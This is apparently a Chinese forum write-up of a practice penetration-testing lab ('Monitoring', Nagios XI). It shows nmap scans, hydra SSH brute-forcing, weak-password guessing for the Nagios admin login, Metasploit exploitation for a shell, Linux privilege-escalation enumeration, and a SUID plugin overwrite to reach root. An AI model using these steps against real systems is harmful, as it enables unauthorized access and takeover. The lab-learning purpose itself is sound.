OSCP系列靶场-Esay-Monitoring

杳若   ·   发表于 2023-07-30 21:31:52   ·   CTF&WP专版

OSCP系列渗透-Esay-Monitoring

总结

getwebshell : 登录处的最佳实践(弱口令)进入后台 → msf历史漏洞利用

提 权 思 路 : 发现suidcheck文件 → msfcheck插件漏洞利用

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.191

  • 启动靶机
    获取目标机器IP → 192.168.179.136

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.179.136

PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
389/tcp  open  ldap
443/tcp  open  https
5667/tcp open  unknown


开放的端口-→22,25,80,389,443,5667

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,25,80,389,443,5667 192.168.179.136

PORT     STATE SERVICE    VERSION                            
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)    
25/tcp   open  smtp       Postfix smtpd             
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
389/tcp  open  ldap       OpenLDAP 2.2.X - 2.3.X
443/tcp  open  ssl/http   Apache httpd 2.4.18 ((Ubuntu))
5667/tcp open  tcpwrapped

这样看的话开放的端口是挺多的

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.2p2 Ubuntu 4ubuntu2.10

# 搜索对应脚本
msf6 → searchsploit OpenSSH 7.2p2

发现搜索到可利用的和用户枚举有关(待定)

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root @192.168.179.136 -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

┌──(root㉿Kali)-[/home/bachang/Monitoring]
└─# sudo ssh root @192.168.179.136 -p 22
root @192.168.179.136's password: root
Permission denied, please try again.


弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.136 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

25-SMTP端口(待定)

25/tcp open smtp Postfix smtpd
该端口接触较少,先待定,和邮件有关

80-HTTP端口的信息收集

访问 http://192.168.179.136:80 看上去是一个标准的CMS


戳了一下Access Nagios XI跳转到了登录窗口

信息收集-网站指纹

┌──(root㉿Kali)-[/home/bachang/Monitoring]
└─# whatweb http://192.168.179.136:80
http://192.168.179.136:80 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.179.136], JQuery[3.3.1], Script[text/javascript], Title[Nagios XI]

CMSNagios XI

漏洞利用-网站指纹

searchsploit Nagios XI


总体来说利用是需要版本的,前面一些不需要版本,尝试直接使用

msf6 → search Nagios XI

use 3

选择了较新且rank好的,查看了一下发现是需要密码的

信息收集-HTML隐藏信息查看(无)

# 包括文章中是否写明一些敏感信息
curl http://192.168.179.136:80

信息收集-目录扫描

信息收集-目录扫描初步
dirsearch -u http://192.168.179.136:80 -x 302,403

漏洞利用-getwebshell

在目录扫描的同时其实在思考这应该是一个标准的CMS,是否会存在通用脆弱口令的情况(MSF的利用需要密码)。

登录端点的最佳实践

  • 尝试寻找网上是否存在该cms的登录凭证


得到账户以及密码 nagiosadmin:nagios
登录之后发现不正确

  • 利用默认登录凭证测试弱口令漏洞
    测试nagiosadmin的弱口令密码,主要测试
  1. 数字序列:例如123456、123456789、111111等简单的数字序列。
  2. 字母序列:例如abcdefg、qwerty、password等简单的字母序列。
  3. 字典词汇:例如admin、password、12345678等常见的字典单词。
  4. 重复字符:例如11111、aaaaaa等重复的字符序列。
  5. 键盘连续字符:例如qwertyuiop、asdfghjkl等键盘上连续的字符。
    123456     #  数字序列
    123456789  #  数字序列
    987654321  #  数字序列
    admin      #  字典词汇
    password   #  字典词汇
    root       #  字典词汇
    111111     #  重复字符
    aaaaaa     #  重复字符
    abcdefg    #  键盘连续字符
    qwertyuiop #  键盘连续字符
    

在测试的过程中,发现利用admin进入了后台

得到版本信息Nagios XI 5.6.0

指纹漏洞利用实践

MSF利用一(失败)

既然知道了密码admin尝试利用之前的msf

提示版本错误,那重新搜索吧

MSF利用二(失败)

msf6 → search Nagios XI 5.6.0

发现只有一个,尝试利用


设置完信息之后进行运行,连接成功但是没有创建会话


决定换个payloads进行尝试,发现能成功连接但是运行不成功,可能是该exp不行

MSF利用三

msf6 → search Nagios

发现了多个,根据内容进行筛选


总感觉大部分都能用,但是3和4用了都不太行,决定用退求其次
在这里10和11中选择了11进行尝试


成功getwebshell

内网遨游-getshell

交互shell

# 利用python获取交互shell
python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取(无)

find / -name local.txt 2→/dev/null

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ lsb_release -a

No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.7 LTS
Release:        16.04
Codename:       xenial

发行版本为Ubuntu,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

www-data @ubuntu:/usr/local/nagiosxi/html/admin$ uname -a
Linux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

内核版本为4.4.0

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
sudo -l


使用的时候需要密码 唔

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1985 Sep  8  2020 /etc/passwd

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
    www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /etc/shadow
    ls -al /etc/shadow
    -rw-r----- 1 root shadow 1244 Mar 23  2021 /etc/shadow
    www-data @ubuntu:/usr/local/nagiosxi/html/admin$
    

    getcap标志进程收集

    高版本下suid列举不全,查看getcap
    # 探查有CAP_SETUID标志的进程
    /usr/sbin/getcap -r / 2→/dev/null
    # 无
    

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

查看历史信息

可能用户留下的历史信息具有有用的信息

history

无信息

确认/home目录下信息

/home目录下的用户可以做账号字典尝试弱密码以及爆破

www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /home
total 12
drwxr-xr-x  2 coconut coconut 4096 Mar 23  2021 coconut
确认当前用户home目录下是否有隐藏文件
# 例如.ssh找密码  ./*_history找历史记录等
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /home/coconut
lrwxrwxrwx 1 root    root       9 Jan 28  2021 .bash_history -→ /dev/null
-rw-r--r-- 1 coconut coconut  220 Sep  8  2020 .bash_logout
-rw-r--r-- 1 coconut coconut 3771 Sep  8  2020 .bashrc
-rw-r--r-- 1 coconut coconut  655 Sep  8  2020 .profile


尝试弱密码无效,准备利用hyrda尝试

# -P 指定密码字典
hydra -l coconut -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.136 ssh -s 22

在爆破的过程中研究一下suid文件


尝试写入恶意内容进行利用

echo'#!/bin/sh
chmod +s /usr/bin/find' → /usr/local/nagios/libexec/check_dhcp

写入之后发现再用find查阅不是suid

收集中的思考

收集了半天,却没发现什么有用的内容,真有意思
这时候就是努力学习的过程,参考了网上的wp,他们用了msf中的第10个
而我用了第11个


这时候灵光一闪,理解了为什么用10是直接root权限,这也是全网都没人写的
回到suid权限文件收集,可以发现了利用check是直接root的,那么rce也是直接root

权限提升

suid之check_plugin权限提升

search Nagios
use 10


经过了一系列的设置之后run
提权成功

FLAG2获取

cat /root/proof.txt
0559c8f500a23ba2628189a1b06b557f

完结撒花~

思考

在利用msf搜索的时候,有时候不能太精确的搜索版本

在内网中细节还是要注意,虽然我之前看到了suidcheck_icmp,没有利用成功,可以考虑从外部尝试

find suid都要试试看先比较好

后记

发现

# 才知道是可以这样执行的
sudo /usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php *  
# 不过查看了一下权限,只能读
ls -al /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php   
-r-xr-x--- 1 root nagios 177241 Sep  8  2020 /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php
用户名金币积分时间理由
Track-魔方 300.00 0 2023-09-17 17:05:40 深度 100 普适 100 可读 100

打赏我,让我更有动力~

0 条回复   |  直到 7个月前 | 218 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.